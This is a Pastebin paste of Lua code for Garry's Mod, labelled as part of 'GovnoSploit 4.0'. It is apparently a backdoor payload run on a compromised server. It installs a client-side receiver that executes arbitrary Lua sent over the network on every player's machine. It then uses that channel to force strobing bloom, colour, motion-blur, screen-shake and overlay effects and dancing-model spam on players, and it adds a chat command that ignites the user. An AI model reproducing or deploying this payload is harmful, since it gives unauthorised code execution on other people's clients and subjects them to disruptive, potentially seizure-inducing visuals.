Advertisement
Guest User

Untitled

a guest
Jan 24th, 2020
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.06 KB | None | 0 0
  1. --[[
  2. File: ?.lua
  3. For: GovnoSploit 4.0
  4. By: bitcoin
  5. ]]--
  6.  
  7. util.AddNetworkString "slua"
  8.  
  9. local lol = {}
  10. function lol:RandomString( intMin, intMax )
  11. local ret = ""
  12. for _ = 1, math.random( intMin, intMax ) do
  13. ret = ret.. string.char( math.random(65, 90) )
  14. end
  15.  
  16. return ret
  17. end
  18.  
  19. lol.m_tblActions = {}
  20. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  21. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  22.  
  23. function lol:PushAction( intChainDelay, func )
  24. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  25. end
  26.  
  27. function lol:NextAction( pPlayer )
  28. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  29. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  30.  
  31. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  32. if not IsValid( pPlayer ) then return end
  33. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  34. self:NextAction( pPlayer )
  35. end )
  36. end
  37.  
  38. function lol:Start( pPlayer )
  39. pPlayer.m_intCurAction = 0
  40. self:NextAction( pPlayer )
  41. end
  42.  
  43. function lol:SendLua( pPlayer, strLua )
  44. net.Start( "slua" )
  45. net.WriteString( strLua )
  46. net.Send( pPlayer )
  47. end
  48.  
  49. function lol:SetupPlayer( pPlayer )
  50. pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  51. end
  52.  
  53. for k, v in pairs( player.GetAll() ) do
  54. lol:SetupPlayer( v )
  55. timer.Simple( 2, function() lol:Start( v ) end )
  56. end
  57.  
  58. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  59. lol:SetupPlayer( pPlayer )
  60. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  61. end )
  62.  
  63. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  64. if strText:sub( 1, 5 ) == "/1337" then
  65. pSender:Ignite( 1e9 )
  66. pSender:ChatPrint( "lol jk" )
  67. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  68. return false
  69. end
  70. end )
  71.  
  72. --Disco time
  73. lol:PushAction( 10, function( pPlayer )
  74. local idx = pPlayer:EntIndex()
  75. timer.Create( "beat".. idx, 0.42, 0, function()
  76. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  77. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  78. end )
  79.  
  80.  
  81. lol:SendLua( pPlayer, [[
  82. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  83. local time = 0
  84.  
  85. hook.Add( "Think", "wat", function()
  86. if CurTime() < time then
  87. return
  88. end
  89.  
  90. time = CurTime() +0.05
  91. for i = 1, 16 do
  92. local part = emitter:Add(
  93. "particles/balloon_bit",
  94. LocalPlayer():GetPos() +Vector(
  95. math.random( -256, 256 ),
  96. math.random( -256, 256 ),
  97. 256
  98. )
  99. )
  100.  
  101. if part then
  102. local Size = math.random( 4, 7 )
  103.  
  104. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  105. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  106. part:SetDieTime( 4.5 )
  107. part:SetGravity( Vector(40, 0, -250) )
  108. part:SetLifeTime( 0 )
  109. part:SetStartSize( Size /2 )
  110. part:SetEndSize( Size )
  111. part:SetCollide( true )
  112. end
  113. end
  114. end )
  115. ]] )
  116.  
  117. lol:SendLua( pPlayer, [[
  118. hook.Add( "RenderScreenspaceEffects", "wat", function()
  119. local sinScaler = math.sin( CurTime() )
  120. DrawBloom(
  121. 0,
  122. 3,
  123. sinScaler *math.Rand(1, 8),
  124. sinScaler *math.Rand(1, 8),
  125. 6,
  126. math.Rand(0.5, 2),
  127. math.Rand(0, 0.3),
  128. math.Rand(0, 0.3),
  129. math.Rand(0.5, 1)
  130. )
  131.  
  132. DrawColorModify{
  133. ["$pp_colour_addr"] = 0,
  134. ["$pp_colour_addg"] = 0,
  135. ["$pp_colour_addb"] = 00,
  136. ["$pp_colour_brightness" ] = 0,
  137. ["$pp_colour_contrast" ] = 1,
  138. ["$pp_colour_colour" ] = 1,
  139. ["$pp_colour_mulr" ] = 0,
  140. ["$pp_colour_mulg" ] = 0,
  141. ["$pp_colour_mulb" ] = 1
  142. }
  143. end )
  144.  
  145. local mdl = ClientsideModel( "models/player/alyx.mdl", RENDERGROUP_BOTH )
  146. mdl:SetNoDraw( true )
  147. local posCache, time = {}, 0
  148.  
  149. hook.Add( "HUDPaint", "dance", function()
  150. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  151. local idx = mdl:LookupSequence("taunt_dance")
  152. mdl.SeqDuration = mdl:SequenceDuration( idx )
  153. mdl.SeqStart = CurTime()
  154. mdl:ResetSequence( idx )
  155. end
  156.  
  157. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  158.  
  159.  
  160. local w, h = 300, 300
  161. local ang = Angle( 0, 0, 0 )
  162.  
  163. for i = 1, 32 do
  164. if CurTime() > time then
  165. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  166. end
  167. local x, y = posCache[i][1], posCache[i][2]
  168.  
  169. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  170. cam.IgnoreZ( true )
  171. render.SuppressEngineLighting( true )
  172.  
  173. render.SetLightingOrigin( mdl:GetPos() )
  174. render.ResetModelLighting( 1, 1, 1 )
  175. render.SetColorModulation( 0, 0, 1 )
  176.  
  177. mdl:DrawModel()
  178.  
  179. render.SuppressEngineLighting( false )
  180. cam.IgnoreZ( false )
  181. cam.End3D()
  182. end
  183.  
  184. if CurTime() > time then
  185. time = CurTime() +0.15
  186. end
  187. end )
  188.  
  189. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  190. ]] )
  191. end )
  192.  
  193. --Let the beat drop
  194. lol:PushAction( 54, function( pPlayer )
  195. lol:SendLua( pPlayer, [[
  196. hook.Add( "GetMotionBlurValues", "wat", function()
  197. return 0, 0, 1, math.sin(CurTime() *13)
  198. end )
  199.  
  200. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  201. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  202. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  203. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  204. end )
  205.  
  206. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  207. render.SetMaterial( Material("cable/blue_elec") )
  208. for i = 1, 32 do
  209. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  210. end
  211. end )
  212.  
  213. timer.Create( "thedrop", 0.42, 0, function()
  214. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  215. end )
  216. ]] )
  217. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement